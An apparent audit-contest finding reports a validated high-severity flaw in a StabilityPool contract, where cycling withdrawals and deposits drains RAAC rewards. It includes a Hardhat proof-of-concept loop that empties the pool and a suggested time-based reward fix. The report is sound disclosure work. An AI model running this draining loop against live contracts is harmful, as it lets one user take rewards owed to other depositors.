Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Stability Pool Reward Draining Through Deposit/Withdraw Cycling

Summary

A critical vulnerability in the StabilityPool contract where users can exploit the deposit and withdrawal mechanisms to drain RAAC token rewards from the pool. By repeatedly withdrawing and depositing tokens, an attacker can claim a disproportionate amount of rewards, eventually depleting the pool's RAAC token balance to near zero.

Vulnerability Details

The vulnerability exists in the reward distribution mechanism of the StabilityPool contract. The proof of concept demonstrates:

  1. Initial setup:

    • Two users deposit equal amounts (50 tokens each)

    • Time advances by 24 hours

    • RAAC rewards are minted to the stability pool

  2. Exploitation steps:

    while (!balanceGt1e6) {
    await stabilityPool.connect(user2).withdraw(ethers.parseEther("50"));
    const raacBalanceAfterWithdrawal = await raacToken.balanceOf(stabilityPool.target);
    if (!(raacBalanceAfterWithdrawal >= (ethers.parseUnits("1", 6)))) {
    balanceGt1e6 = true;
    }
    await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
    }

The exploit works because:

  • Each withdrawal triggers a reward claim

  • Immediate redeposit allows the attacker to maintain their position

  • The process can be repeated until the pool's RAAC balance is drained

  • No cooldown or limitation exists between withdrawals and deposits

Impact

Draining of protocol rewards intended for all participants

Reference link:

Deposit function:

Tools Used

Manual/Hardhat

##POC

In StabilityPool.test.js

describe("RAAC Rewards", function () {
beforeEach(async function () {
const initialBalance = ethers.parseEther("50");
await rToken.connect(user1).approve(stabilityPool.target, initialBalance);
await rToken.connect(user2).approve(stabilityPool.target, ethers.MaxUint256);
});
it("should distribute rewards proportionally", async function () {
const initialBalance = ethers.parseEther("50");
await stabilityPool.connect(user1).deposit(initialBalance);
await stabilityPool.connect(user2).deposit(initialBalance);
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// raac token balance of stability pool
const raacBalance = await raacToken.balanceOf(stabilityPool.target);
expect(raacBalance).to.be.gt(0);
// loop through by allowing user 5 to withdraw and deposit again claiming rewards
const user2RaacTokenBalanceBefore = await raacToken.balanceOf(user2.address);
var balanceGt1e6 = false;
var counts = 0;
while (!balanceGt1e6 && counts < 500) {
await stabilityPool.connect(user2).withdraw(ethers.parseEther("50"));
const raacBalanceAfterWithdrawal = await raacToken.balanceOf(stabilityPool.target);
if (!(raacBalanceAfterWithdrawal >= (ethers.parseUnits("1", 6)))) {
balanceGt1e6 = true;
}
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
counts += 1;
}
// reset count to 0
counts = 0;
while (!balanceGt1e6 && counts < 1000) {
await stabilityPool.connect(user2).withdraw(ethers.parseEther("50"));
const raacBalanceAfterWithdrawal = await raacToken.balanceOf(stabilityPool.target);
if (!(raacBalanceAfterWithdrawal >= (ethers.parseUnits("1", 6)))) {
balanceGt1e6 = true;
}
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
counts += 1;
}
const user2RaacTokenBalanceAfter = await raacToken.balanceOf(user2.address);
const raacBalanceAfter = await raacToken.balanceOf(stabilityPool.target);
const currentBalanceShouldBeLessThanFiftenPercent = BigInt(raacBalance) * BigInt(15) / BigInt(100);
const eightyFivePercentAddedToUser2Balance = BigInt(raacBalance) * BigInt(85) / BigInt(100);
expect(user2RaacTokenBalanceAfter >= BigInt(eightyFivePercentAddedToUser2Balance) + BigInt(user2RaacTokenBalanceBefore)).to.be.true;
expect((raacBalanceAfter <= BigInt(currentBalanceShouldBeLessThanFiftenPercent))).to.be.true;
});
});

Recommendations

Implement Reward Accrual Based on Time:

function calculateRewards(address user) internal view returns (uint256) {
uint256 timeStaked = block.timestamp - lastStakeTime[user];
return (stakedAmount[user] * timeStaked * rewardRate) / PRECISION;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!